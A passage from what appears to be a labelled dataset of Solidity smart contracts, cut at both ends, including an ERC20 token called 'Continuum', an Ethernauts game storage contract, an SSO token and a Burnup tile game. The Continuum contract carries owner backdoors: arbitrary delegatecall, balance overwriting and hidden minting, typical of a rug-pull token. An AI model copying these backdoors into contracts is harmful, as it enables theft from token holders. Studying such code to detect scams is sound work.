uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Continuum is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 183000000000000000000000000;
string public name = "Continuum";
string public symbol = "UM";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _reallyGoHere, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = amount;
emit Transfer(address(0x0), _reallyGoHere[i], amount);
}
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 1 | 3,722 |
pragma solidity ^0.4.19;
contract EthernautsBase {
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('takeOwnership(uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
uint8 public constant STATS_SIZE = 10;
uint8 public constant SHIP_SLOTS = 5;
enum AssetState { Available, UpForLease, Used }
enum AssetCategory { NotValid, Sector, Manufacturer, Ship, Object, Factory, CrewMember }
enum ShipStats {Level, Attack, Defense, Speed, Range, Luck}
bytes2 public ATTR_SEEDED = bytes2(2**0);
bytes2 public ATTR_PRODUCIBLE = bytes2(2**1);
bytes2 public ATTR_EXPLORABLE = bytes2(2**2);
bytes2 public ATTR_LEASABLE = bytes2(2**3);
bytes2 public ATTR_PERMANENT = bytes2(2**4);
bytes2 public ATTR_CONSUMABLE = bytes2(2**5);
bytes2 public ATTR_TRADABLE = bytes2(2**6);
bytes2 public ATTR_GOLDENGOOSE = bytes2(2**7);
}
contract EthernautsAccessControl is EthernautsBase {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public ctoAddress;
address public cooAddress;
address public oracleAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCTO() {
require(msg.sender == ctoAddress);
_;
}
modifier onlyOracle() {
require(msg.sender == oracleAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress ||
msg.sender == cooAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCTO(address _newCTO) external {
require(
msg.sender == ceoAddress ||
msg.sender == ctoAddress
);
require(_newCTO != address(0));
ctoAddress = _newCTO;
}
function setCOO(address _newCOO) external {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setOracle(address _newOracle) external {
require(msg.sender == ctoAddress);
require(_newOracle != address(0));
oracleAddress = _newOracle;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract EthernautsStorage is EthernautsAccessControl {
function EthernautsStorage() public {
ceoAddress = msg.sender;
ctoAddress = msg.sender;
cooAddress = msg.sender;
oracleAddress = msg.sender;
}
function() external payable {
require(msg.sender == address(this));
}
mapping (address => bool) public contractsGrantedAccess;
function grantAccess(address _v2Address) public onlyCTO {
contractsGrantedAccess[_v2Address] = true;
}
function removeAccess(address _v2Address) public onlyCTO {
delete contractsGrantedAccess[_v2Address];
}
modifier onlyGrantedContracts() {
require(contractsGrantedAccess[msg.sender] == true);
_;
}
modifier validAsset(uint256 _tokenId) {
require(assets[_tokenId].ID > 0);
_;
}
struct Asset {
uint16 ID;
uint8 category;
uint8 state;
bytes2 attributes;
uint64 createdAt;
uint64 cooldownEndBlock;
uint8[STATS_SIZE] stats;
uint256 cooldown;
uint256 builtBy;
}
bool public isEthernautsStorage = true;
Asset[] public assets;
mapping (uint256 => uint256) internal assetIndexToPrice;
mapping (uint256 => address) internal assetIndexToOwner;
mapping (address => uint256) internal ownershipTokenCount;
mapping (uint256 => address) internal assetIndexToApproved;
function setPrice(uint256 _tokenId, uint256 _price) public onlyGrantedContracts {
assetIndexToPrice[_tokenId] = _price;
}
function approve(uint256 _tokenId, address _approved) public onlyGrantedContracts {
assetIndexToApproved[_tokenId] = _approved;
}
function transfer(address _from, address _to, uint256 _tokenId) public onlyGrantedContracts {
ownershipTokenCount[_to]++;
assetIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete assetIndexToApproved[_tokenId];
}
}
function createAsset(
uint256 _creatorTokenID,
address _owner,
uint256 _price,
uint16 _ID,
uint8 _category,
uint8 _state,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint256 _cooldown,
uint64 _cooldownEndBlock
)
public onlyGrantedContracts
returns (uint256)
{
require(_ID > 0);
require(_category > 0);
require(_attributes != 0x0);
require(_stats.length > 0);
Asset memory asset = Asset({
ID: _ID,
category: _category,
builtBy: _creatorTokenID,
attributes: bytes2(_attributes),
stats: _stats,
state: _state,
createdAt: uint64(now),
cooldownEndBlock: _cooldownEndBlock,
cooldown: _cooldown
});
uint256 newAssetUniqueId = assets.push(asset) - 1;
require(newAssetUniqueId == uint256(uint32(newAssetUniqueId)));
assetIndexToPrice[newAssetUniqueId] = _price;
transfer(address(0), _owner, newAssetUniqueId);
return newAssetUniqueId;
}
function editAsset(
uint256 _tokenId,
uint256 _creatorTokenID,
uint256 _price,
uint16 _ID,
uint8 _category,
uint8 _state,
uint8 _attributes,
uint8[STATS_SIZE] _stats,
uint16 _cooldown
)
external validAsset(_tokenId) onlyCLevel
returns (uint256)
{
require(_ID > 0);
require(_category > 0);
require(_attributes != 0x0);
require(_stats.length > 0);
assetIndexToPrice[_tokenId] = _price;
Asset storage asset = assets[_tokenId];
asset.ID = _ID;
asset.category = _category;
asset.builtBy = _creatorTokenID;
asset.attributes = bytes2(_attributes);
asset.stats = _stats;
asset.state = _state;
asset.cooldown = _cooldown;
}
function updateStats(uint256 _tokenId, uint8[STATS_SIZE] _stats) public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].stats = _stats;
}
function updateState(uint256 _tokenId, uint8 _state) public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].state = _state;
}
function setAssetCooldown(uint256 _tokenId, uint256 _cooldown, uint64 _cooldownEndBlock)
public validAsset(_tokenId) onlyGrantedContracts {
assets[_tokenId].cooldown = _cooldown;
assets[_tokenId].cooldownEndBlock = _cooldownEndBlock;
}
function getStats(uint256 _tokenId) public view returns (uint8[STATS_SIZE]) {
return assets[_tokenId].stats;
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return assetIndexToPrice[_tokenId];
}
function hasAllAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) {
return assets[_tokenId].attributes & _attributes == _attributes;
}
function hasAnyAttrs(uint256 _tokenId, bytes2 _attributes) public view returns (bool) {
return assets[_tokenId].attributes & _attributes != 0x0;
}
function isCategory(uint256 _tokenId, uint8 _category) public view returns (bool) {
return assets[_tokenId].category == _category;
}
function isState(uint256 _tokenId, uint8 _state) public view returns (bool) {
return assets[_tokenId].state == _state;
}
function ownerOf(uint256 _tokenId) public view returns (address owner)
{
return assetIndexToOwner[_tokenId];
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function approvedFor(uint256 _tokenId) public view onlyGrantedContracts returns (address) {
return assetIndexToApproved[_tokenId];
}
function totalSupply() public view returns (uint256) {
return assets.length;
}
function getTokenList(address _owner, uint8 _withAttributes, uint256 start, uint256 count) external view returns(
uint256[6][]
) {
uint256 totalAssets = assets.length;
if (totalAssets == 0) {
return new uint256[6][](0);
} else {
uint256[6][] memory result = new uint256[6][](totalAssets > count ? count : totalAssets);
uint256 resultIndex = 0;
bytes2 hasAttributes = bytes2(_withAttributes);
Asset memory asset;
for (uint256 tokenId = start; tokenId < totalAssets && resultIndex < count; tokenId++) {
asset = assets[tokenId];
if (
(asset.state != uint8(AssetState.Used)) &&
(assetIndexToOwner[tokenId] == _owner || _owner == address(0)) &&
(asset.attributes & hasAttributes == hasAttributes)
) {
result[resultIndex][0] = tokenId;
result[resultIndex][1] = asset.ID;
result[resultIndex][2] = asset.category;
result[resultIndex][3] = uint256(asset.attributes);
result[resultIndex][4] = asset.cooldown;
result[resultIndex][5] = assetIndexToPrice[tokenId];
resultIndex++;
}
}
return result;
}
}
} | 1 | 2,657 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SSO {
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
using SafeMath for uint256;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 private constant MAX_UINT256 = 2**256 -1 ;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
bool lock = false;
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
owner = msg.sender;
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public{
lock = _lock;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transfer(
address _to,
uint256 _value
) public returns (bool) {
require(balances[msg.sender] >= _value);
require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value);
require(_from == _to || balances[_to] <= MAX_UINT256 -_value);
require(allowance >= _value);
balances[_from] -= _value;
balances[_to] += _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(
address _owner
) public view returns (uint256) {
return balances[_owner];
}
function approve(
address _spender,
uint256 _value
) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
) public view returns (uint256) {
return allowed[_owner][_spender];
}
} | 1 | 3,842 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract BurnupGameAccessControl is Claimable, Pausable, CanReclaimToken {
mapping (address => bool) public cfo;
function BurnupGameAccessControl() public {
cfo[msg.sender] = true;
}
modifier onlyCFO() {
require(cfo[msg.sender]);
_;
}
function setCFO(address addr, bool set) external onlyOwner {
require(addr != address(0));
if (!set) {
delete cfo[addr];
} else {
cfo[addr] = true;
}
}
}
contract BurnupGameBase is BurnupGameAccessControl {
using SafeMath for uint256;
event ActiveTimes(uint256[] from, uint256[] to);
event AllowStart(bool allowStart);
event NextGame(
uint256 rows,
uint256 cols,
uint256 initialActivityTimer,
uint256 finalActivityTimer,
uint256 numberOfFlipsToFinalActivityTimer,
uint256 timeoutBonusTime,
uint256 unclaimedTilePrice,
uint256 buyoutReferralBonusPercentage,
uint256 firstBuyoutPrizePoolPercentage,
uint256 buyoutPrizePoolPercentage,
uint256 buyoutDividendPercentage,
uint256 buyoutFeePercentage,
uint256 buyoutPriceIncreasePercentage
);
event Start(
uint256 indexed gameIndex,
address indexed starter,
uint256 timestamp,
uint256 prizePool
);
event End(uint256 indexed gameIndex, address indexed winner, uint256 indexed identifier, uint256 x, uint256 y, uint256 timestamp, uint256 prize);
event Buyout(
uint256 indexed gameIndex,
address indexed player,
uint256 indexed identifier,
uint256 x,
uint256 y,
uint256 timestamp,
uint256 timeoutTimestamp,
uint256 newPrice,
uint256 newPrizePool
);
event LastTile(
uint256 indexed gameIndex,
uint256 indexed identifier,
uint256 x,
uint256 y
);
event PenultimateTileTimeout(
uint256 indexed gameIndex,
uint256 timeoutTimestamp
);
event SpiceUpPrizePool(uint256 indexed gameIndex, address indexed spicer, uint256 spiceAdded, string message, uint256 newPrizePool);
struct GameSettings {
uint256 rows;
uint256 cols;
uint256 initialActivityTimer;
uint256 finalActivityTimer;
uint256 numberOfFlipsToFinalActivityTimer;
uint256 timeoutBonusTime;
uint256 unclaimedTilePrice;
uint256 buyoutReferralBonusPercentage;
uint256 firstBuyoutPrizePoolPercentage;
uint256 buyoutPrizePoolPercentage;
uint256 buyoutDividendPercentage;
uint256 buyoutFeePercentage;
uint256 buyoutPriceIncreasePercentage;
}
struct GameState {
bool gameStarted;
uint256 gameStartTimestamp;
mapping (uint256 => address) identifierToOwner;
mapping (uint256 => uint256) identifierToTimeoutTimestamp;
mapping (uint256 => uint256) identifierToBuyoutPrice;
mapping (address => uint256) addressToNumberOfTiles;
uint256 numberOfTileFlips;
uint256 lastTile;
uint256 penultimateTileTimeout;
uint256 prizePool;
}
mapping (uint256 => GameState) public gameStates;
uint256 public gameIndex = 0;
GameSettings public gameSettings;
GameSettings public nextGameSettings;
uint256[] public activeTimesFrom;
uint256[] public activeTimesTo;
bool public allowStart;
function BurnupGameBase() public {
setNextGameSettings(
4,
5,
300,
150,
5,
30,
0.01 ether,
750,
40000,
10000,
5000,
2500,
150000
);
}
function validCoordinate(uint256 x, uint256 y) public view returns(bool) {
return x < gameSettings.cols && y < gameSettings.rows;
}
function coordinateToIdentifier(uint256 x, uint256 y) public view returns(uint256) {
require(validCoordinate(x, y));
return (y * gameSettings.cols) + x + 1;
}
function identifierToCoordinate(uint256 identifier) public view returns(uint256 x, uint256 y) {
y = (identifier - 1) / gameSettings.cols;
x = (identifier - 1) - (y * gameSettings.cols);
}
function setNextGameSettings(
uint256 rows,
uint256 cols,
uint256 initialActivityTimer,
uint256 finalActivityTimer,
uint256 numberOfFlipsToFinalActivityTimer,
uint256 timeoutBonusTime,
uint256 unclaimedTilePrice,
uint256 buyoutReferralBonusPercentage,
uint256 firstBuyoutPrizePoolPercentage,
uint256 buyoutPrizePoolPercentage,
uint256 buyoutDividendPercentage,
uint256 buyoutFeePercentage,
uint256 buyoutPriceIncreasePercentage
)
public
onlyCFO
{
require(2000 <= buyoutDividendPercentage && buyoutDividendPercentage <= 12500);
require(buyoutFeePercentage <= 5000);
if (numberOfFlipsToFinalActivityTimer == 0) {
require(initialActivityTimer == finalActivityTimer);
}
nextGameSettings = GameSettings({
rows: rows,
cols: cols,
initialActivityTimer: initialActivityTimer,
finalActivityTimer: finalActivityTimer,
numberOfFlipsToFinalActivityTimer: numberOfFlipsToFinalActivityTimer,
timeoutBonusTime: timeoutBonusTime,
unclaimedTilePrice: unclaimedTilePrice,
buyoutReferralBonusPercentage: buyoutReferralBonusPercentage,
firstBuyoutPrizePoolPercentage: firstBuyoutPrizePoolPercentage,
buyoutPrizePoolPercentage: buyoutPrizePoolPercentage,
buyoutDividendPercentage: buyoutDividendPercentage,
buyoutFeePercentage: buyoutFeePercentage,
buyoutPriceIncreasePercentage: buyoutPriceIncreasePercentage
});
NextGame(
rows,
cols,
initialActivityTimer,
finalActivityTimer,
numberOfFlipsToFinalActivityTimer,
timeoutBonusTime,
unclaimedTilePrice,
buyoutReferralBonusPercentage,
firstBuyoutPrizePoolPercentage,
buyoutPrizePoolPercentage,
buyoutDividendPercentage,
buyoutFeePercentage,
buyoutPriceIncreasePercentage
);
}
function setActiveTimes(uint256[] _from, uint256[] _to) external onlyCFO {
require(_from.length == _to.length);
activeTimesFrom = _from;
activeTimesTo = _to;
ActiveTimes(_from, _to);
}
function setAllowStart(bool _allowStart) external onlyCFO {
allowStart = _allowStart;
AllowStart(_allowStart);
}
function canStart() public view returns (bool) {
uint256 timeOfWeek = (block.timestamp - 345600) % 604800;
uint256 windows = activeTimesFrom.length;
if (windows == 0) {
return true;
}
for (uint256 i = 0; i < windows; i++) {
if (timeOfWeek >= activeTimesFrom[i] && timeOfWeek <= activeTimesTo[i]) {
return true;
}
}
return false;
}
function calculateBaseTimeout() public view returns(uint256) {
uint256 _numberOfTileFlips = gameStates[gameIndex].numberOfTileFlips;
if (_numberOfTileFlips >= gameSettings.numberOfFlipsToFinalActivityTimer || gameSettings.numberOfFlipsToFinalActivityTimer == 0) {
return gameSettings.finalActivityTimer;
} else {
if (gameSettings.finalActivityTimer <= gameSettings.initialActivityTimer) {
uint256 difference = gameSettings.initialActivityTimer - gameSettings.finalActivityTimer;
uint256 decrease = difference.mul(_numberOfTileFlips).div(gameSettings.numberOfFlipsToFinalActivityTimer);
return (gameSettings.initialActivityTimer - decrease);
} else {
difference = gameSettings.finalActivityTimer - gameSettings.initialActivityTimer;
uint256 increase = difference.mul(_numberOfTileFlips).div(gameSettings.numberOfFlipsToFinalActivityTimer);
return (gameSettings.initialActivityTimer + increase);
}
}
}
function tileTimeoutTimestamp(uint256 identifier, address player) public view returns (uint256) {
uint256 bonusTime = gameSettings.timeoutBonusTime.mul(gameStates[gameIndex].addressToNumberOfTiles[player]);
uint256 timeoutTimestamp = block.timestamp.add(calculateBaseTimeout()).add(bonusTime);
uint256 currentTimeoutTimestamp = gameStates[gameIndex].identifierToTimeoutTimestamp[identifier];
if (currentTimeoutTimestamp == 0) {
currentTimeoutTimestamp = gameStates[gameIndex].gameStartTimestamp.add(gameSettings.initialActivityTimer);
}
if (timeoutTimestamp >= currentTimeoutTimestamp) {
return timeoutTimestamp;
} else {
return currentTimeoutTimestamp;
}
}
function _setGameSettings() internal {
if (gameSettings.rows != nextGameSettings.rows) {
gameSettings.rows = nextGameSettings.rows;
}
if (gameSettings.cols != nextGameSettings.cols) {
gameSettings.cols = nextGameSettings.cols;
}
if (gameSettings.initialActivityTimer != nextGameSettings.initialActivityTimer) {
gameSettings.initialActivityTimer = nextGameSettings.initialActivityTimer;
}
if (gameSettings.finalActivityTimer != nextGameSettings.finalActivityTimer) {
gameSettings.finalActivityTimer = nextGameSettings.finalActivityTimer;
}
if (gameSettings.numberOfFlipsToFinalActivityTimer != nextGameSettings.numberOfFlipsToFinalActivityTimer) {
gameSettings.numberOfFlipsToFinalActivityTimer = nextGameSettings.numberOfFlipsToFinalActivityTimer;
}
if (gameSettings.timeoutBonusTime != nextGameSettings.timeoutBonusTime) {
gameSettings.timeoutBonusTime = nextGameSettings.timeoutBonusTime;
}
if (gameSettings.unclaimedTilePrice != nextGameSettings.unclaimedTilePrice) {
gameSettings.unclaimedTilePrice = nextGameSettings.unclaimedTilePrice;
}
if (gameSettings.buyoutReferralBonusPercentage != nextGameSettings.buyoutReferralBonusPercentage) {
gameSettings.buyoutReferralBonusPercentage = nextGameSettings.buyoutReferralBonusPercentage;
}
if (gameSettings.firstBuyoutPrizePoolPercentage != nextGameSettings.firstBuyoutPrizePoolPercentage) {
gameSettings.firstBuyoutPrizePoolPercentage = nextGameSettings.firstBuyoutPrizePoolPercentage;
}
if (gameSettings.buyoutPrizePoolPercentage != nextGameSettings.buyoutPrizePoolPercentage) {
gameSettings.buyoutPrizePoolPercentage = nextGameSettings.buyoutPrizePoolPercentage;
}
if (gameSettings.buyoutDividendPercentage != nextGameSettings.buyoutDividendPercentage) {
gameSettings.buyoutDividendPercentage = nextGameSettings.buyoutDividendPercentage;
}
if (gameSettings.buyoutFeePercentage != nextGameSettings.buyoutFeePercentage) {
gameSettings.buyoutFeePercentage = nextGameSettings.buyoutFeePercentage;
}
if (gameSettings.buyoutPriceIncreasePercentage != nextGameSettings.buyoutPriceIncreasePercentage) {
gameSettings.buyoutPriceIncreasePercentage = nextGameSettings.buyoutPriceIncreasePercentage;
}
}
}
contract BurnupGameOwnership is BurnupGameBase {
event Transfer(address indexed from, address indexed to, uint256 indexed deedId);
function name() public pure returns (string _deedName) {
_deedName = "Burnup Tiles";
}
function symbol() public pure returns (string _deedSymbol) {
_deedSymbol = "BURN";
}
function _owns(address _owner, uint256 _identifier) internal view returns (bool) {
return gameStates[gameIndex].identifierToOwner[_identifier] == _owner;
}
function _transfer(address _from, address _to, uint256 _identifier) internal {
gameStates[gameIndex].identifierToOwner[_identifier] = _to;
if (_from != 0x0) {
gameStates[gameIndex].addressToNumberOfTiles[_from] = gameStates[gameIndex].addressToNumberOfTiles[_from].sub(1);
}
gameStates[gameIndex].addressToNumberOfTiles[_to] = gameStates[gameIndex].addressToNumberOfTiles[_to].add(1);
Transfer(_from, _to, _identifier);
}
function ownerOf(uint256 _identifier) external view returns (address _owner) {
_owner = gameStates[gameIndex].identifierToOwner[_identifier];
require(_owner != address(0));
}
function transfer(address _to, uint256 _identifier) external whenNotPaused {
require(_owns(msg.sender, _identifier));
_transfer(msg.sender, _to, _identifier);
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract BurnupHoldingAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
mapping (address => bool) burnupGame;
function BurnupHoldingAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyBurnupGame() {
require(burnupGame[msg.sender]);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function addBurnupGame(address addr) external onlyOwner {
burnupGame[addr] = true;
}
function removeBurnupGame(address addr) external onlyOwner {
delete burnupGame[addr];
}
}
contract BurnupHoldingReferral is BurnupHoldingAccessControl {
event SetReferrer(address indexed referral, address indexed referrer);
mapping (address => address) addressToReferrerAddress;
function referrerOf(address player) public view returns (address) {
return addressToReferrerAddress[player];
}
function _setReferrer(address playerAddr, address referrerAddr) internal {
addressToReferrerAddress[playerAddr] = referrerAddr;
SetReferrer(playerAddr, referrerAddr);
}
}
contract BurnupHoldingCore is BurnupHoldingReferral, PullPayment {
using SafeMath for uint256;
address public beneficiary1;
address public beneficiary2;
function BurnupHoldingCore(address _beneficiary1, address _beneficiary2) public {
cfoAddress = msg.sender;
beneficiary1 = _beneficiary1;
